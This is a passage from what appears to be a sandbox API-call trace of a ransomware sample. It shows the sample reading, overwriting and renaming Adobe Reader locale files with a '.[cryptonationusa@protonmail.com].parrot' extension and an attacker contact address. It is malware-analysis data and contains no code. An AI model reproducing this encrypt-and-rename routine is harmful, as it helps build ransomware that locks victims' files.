lpNewFilePointer=0x0) returned 1 [0261.467] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x84200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x84200, lpOverlapped=0x0) returned 1 [0261.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.510] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\PPKLITE.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ppklite.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\PPKLITE.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ppklite.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0261.564] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.564] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.573] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.573] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0261.603] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.603] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0261.607] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.607] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0261.610] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x155d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0261.610] CloseHandle (hObject=0x1b0) returned 1 [0261.611] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\RdLang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\rdlang32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\RdLang32.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\rdlang32.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0261.620] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.620] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.622] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.622] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0261.623] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.624] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\ReadOutLoud.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\readoutloud.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\ReadOutLoud.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\readoutloud.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.630] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.630] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.632] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.632] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0261.633] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.633] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\reflow.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\reflow.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\reflow.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\reflow.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.638] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.638] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.638] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0261.640] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.640] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.641] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.642] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0261.643] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.643] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SaveAsRTF.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\saveasrtf.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SaveAsRTF.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\saveasrtf.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0261.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.650] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.651] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.651] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6000, lpOverlapped=0x0) returned 1 [0261.652] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.653] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Search.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\search.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Search.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\search.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0261.659] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.659] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.660] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.660] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0261.661] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.675] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SendMail.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\sendmail.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SendMail.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\sendmail.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0261.681] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0261.717] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0261.717] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.717] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0261.717] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0261.717] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0261.718] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.718] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0261.720] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.720] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x924e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x924e, lpOverlapped=0x0) returned 1 [0261.721] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.722] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0261.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0261.730] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.730] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0261.731] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.731] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe3, lpOverlapped=0x0) returned 1 [0261.731] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.732] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0261.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0261.738] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0261.738] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2804afa0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2804afa0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.738] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x28024e40, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x9368, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0261.739] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.739] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.741] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.741] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0261.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.742] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Spelling.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\spelling.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Spelling.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\spelling.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.747] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.749] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.751] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0261.752] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.752] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\updater.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\updater.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\updater.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\updater.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.773] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.773] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.777] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7000, lpOverlapped=0x0) returned 1 [0261.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.779] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Weblink.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\weblink.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Weblink.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\weblink.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 